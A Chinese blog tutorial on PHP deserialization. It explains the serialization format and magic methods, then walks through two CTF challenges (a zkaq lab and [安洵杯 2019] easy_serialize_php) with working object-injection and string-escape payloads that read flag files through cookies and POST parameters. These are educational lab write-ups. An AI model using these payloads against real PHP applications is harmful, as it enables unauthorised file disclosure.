0%

php反序列化

序列化 与 反序列化

序列化: 把对象转换为字符序列的过程
反序列化: 把字符序列恢复为对象的过程

serialize() unserialize()

php序列化

1
2
3
4
5
6
a - array                 	b - boolean  
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
1
2
3
4
5
6
7
<?php
show_source(__FILE__);
$sites = array('Dog', 'Cat', 'Zard');
$serialized_data = serialize($sites);
echo $serialized_data;
?>
a:3:{i:0;s:3:"Dog";i:1;s:3:"Cat";i:2;s:4:"Zard";}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
show_source(__FILE__);

class User{
public $name = '';
public $age = 0;

public function Show_info(){
echo $this->name .' is '. $this->age .'years old.<br/>';
}

}

$s = new User();
$s->name = 'Mamor' ;
$s->age = 21;
$s->Show_info();

print_r(serialize($s));
echo '<br/>';
print_r(unserialize('O:4:"User":2:{s:4:"name";s:5:"Mamor";s:3:"age";i:21;}'));

?> Mamor is 21years old.
O:4:"User":2:{s:4:"name";s:5:"Mamor";s:3:"age";i:21;}
User Object ( [name] => Mamor [age] => 21 )

a:3:{i:0;s:3:"Dog";i:1;s:3:"Cat";i:2;s:4:"Zard";}

对象类型:长度:{长度:类型:值,长度:类型:值,长度:类型:值}

O:4:"User":2:{s:4:"name";s:5:"Mamor";s:3:"age";i:21;}

对象类型:长度:类名:类中变量个数:{类型:长度:值,类型:长度:值,类型:长度:值}
### 魔术方法

PHP之十六个魔术方法详解

__construct() 当一个对象创建时被调用 __destruct() 当一个对象销毁时被调用 __toString() 当反序列化后的对象被输出的时候(转化为字符串的时候)被调用 __sleep() 在对象在被序列化之前被调用 __wakeup 在序列化之后立即被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
show_source(__FILE__);
class test{

public $a = 'aaaaa<br/>';
public $b = 'bbbbb<br/>';
public function aaa()
{
echo $this->a;
}
public function __construct()
{
echo ' __construct<br/>';
}
public function __destruct()
{
echo ' __destruct()<br/>';
}
public function __wakeup()
{
echo '__wakeup()<br/>';
}
public function __sleep()
{
echo '__sleep()<br/>';
}
}
echo '<br/>';
// 创建对象时会调用 __construct()
$obj = new test();

$serialize = serialize($obj);

echo 'serialize: ' .$serialize. '<br/>';

$unserialize = unserialize($serialize);

$obj->aaa();

//对象销毁时会调用 __destruct
?>
输出:
__construct
__sleep()
serialize: N;
aaaaa
__destruct()


zkaq靶场题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
flag in ./flag.php 
<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__; //这里存在可控参数,可以尝试构造序列化对象flag.php
echo $s;
exit;
}

//$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
//$c=$h+$m=md5(m)+$m


if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
</head>

<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>
<li><?=$todo?></li> // <=== <?php echo $todo ?>的简写
<?php endforeach;?>
</ul>

<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
show_source(__FILE__);
Class readme{
public function __toString()
{
return highlight_file('readme.txt',true).highlight_file($this->source);
}
}

if(isset($_GET['source'])){
$s = new readme();
$s ->source = 'flag.php';
$s = [$s];
echo md5(serialize($s)).serialize($s);
}
?>

得到e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}先进行一次url编码然后使用cookie传参

todos=e2d4f7dcc43ee1db7f69e76303d0105ca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D最终得到zkz{UNs_what_what?}


[安洵杯 2019]easy_serialize_php1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

如果 $function = phpinfo 会得到phpinfo页面,得到了flag文件名为 d0g3_f1ag.php ,想办法去读取flag文件去得到flag

后面的wp看了下师傅们的wp,使用的字符逃逸

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$str1='a:2:{i:0;s:5:"Mamor";i:1;s:5:"aaaaa";}';
var_dump(unserialize($str1));
echo '<br/>';
echo '含有垃圾参数的:';
echo '<br/>';
$str2='a:2:{i:0;s:5:"Mamor";i:1;s:5:"aaaaa";}aaa垃圾参数w(゚Д゚)w';
var_dump(unserialize($str2));
array(2) { [0]=> string(5) "Mamor" [1]=> string(5) "aaaaa" }
含有垃圾参数的:
array(2) { [0]=> string(5) "Mamor" [1]=> string(5) "aaaaa" }

可以看到就算是有垃圾参数,在进行反序列化的时候也不会出现,不会影响反序列化正常运行

1
2
3
4
5
6
7
<? php
if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

清空$_SESSION变量值,并重新赋值

extract($_POST);对post传参进行了变量覆盖

后续可以只看这些代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

...
$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

在filter()函数中过滤掉了php,flag,php5,php4,fl1g

file_get_contents()函数可以将整个文件读入一个字符串, 让base64编码的值为flag的所在文件名 ,

即d0g3_f1ag.php-->base64编码后为 ZDBnM19mMWFnLnBocA==(20位) 反序列化后为 s:3:"img",s:20,"ZDBnM19mMWFnLnBocA=="

看了下Leena_c9a7师傅的wp,当后台如果存在过滤的话 $_SESSION数组的键值会发生变化,既然无法去控制img的值,就可以利用这道题目本身的过滤器,

post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}是预期输出的序列化字符

经过filter过滤玩之后 flagflag会替换为空

a:2:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}变为

a:2:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

s:8:"";s:51:"";s:3:"aaa" 这样这里的s:8的值为";s:51:"

a:2:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

这样两对键值为 ";s:51:" aaaimg ZDBnM19mMWFnLnBocA== }后面的内容

";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}均会当作垃圾参数忽略掉

这样 file_get_contents()读取d0g3_f1ag.php的内容

payload

GET f=show_image

POST _SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

查看源码

1
2
3
4
5
<?php

$flag = 'flag in /d0g3_fllllllag';

?>

base64(d0g3_fllllllag) = L2QwZzNfZmxsbGxsbGFn

payload

GET f=show_image

POST _SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

得到flagflag{7d55f960-c93d-4db0-8524-f51d073ce4db}


Reference

https://xz.aliyun.com/t/6753

https://segmentfault.com/a/1190000007250604

https://www.jianshu.com/p/8e8117f9fd0e

https://www.cnblogs.com/h3zh1/p/12732336.html

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------